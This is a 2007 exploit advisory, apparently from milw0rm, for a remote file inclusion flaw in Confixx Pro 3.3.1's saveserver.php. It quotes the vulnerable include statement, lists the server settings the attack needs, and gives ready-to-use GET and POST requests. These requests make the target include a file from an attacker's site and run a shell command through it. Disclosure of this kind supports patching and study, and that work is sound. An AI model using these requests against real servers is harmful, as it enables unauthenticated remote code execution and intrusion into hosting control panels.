Confixx Pro 3.3.1 - 'saveserver.php' Remote File Inclusion

Author: H4 / XPK
type: webapps
platform: php
port: 
date_added: 2007-07-23 
date_updated:  
verified: 1 
codes: OSVDB-36871;CVE-2007-4009 
tags: 
aliases:  
screenshot_url:  
application_url: 

[*] Confixx <= PRO 3.3.1 Remote File Inclusion Vulnerability
__________________________________________________________________________

[!] Application homepage :   http://www.swsoft.com/de/products/confixx/
[!] Author               :   H4 / XPK
[!] Contact              :   http://xpkzxc.com/
[!] Bug discovered       :   2007-07-21
[!] Bug published        :   2007-07-24
[!] Risk                 :   Moderate

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Vuln. code: admin/business_inc/saveserver.php

Lines 8-11

if( !in_array($returnto, $actions) )
{
        include( $thisdir . "/business_inc/list.php" );
}

Variable $thisdir is not defined ...

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An attacker does not need to be authenticated to access this file.

[!] Conditions: open_basedir restriction off and allow_url_fopen = on

[!] Exploitation : http://[target]/admin/business_inc/saveserver.php

Post: thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la
Get: saveserver.php?thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la

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# milw0rm.com [2007-07-24]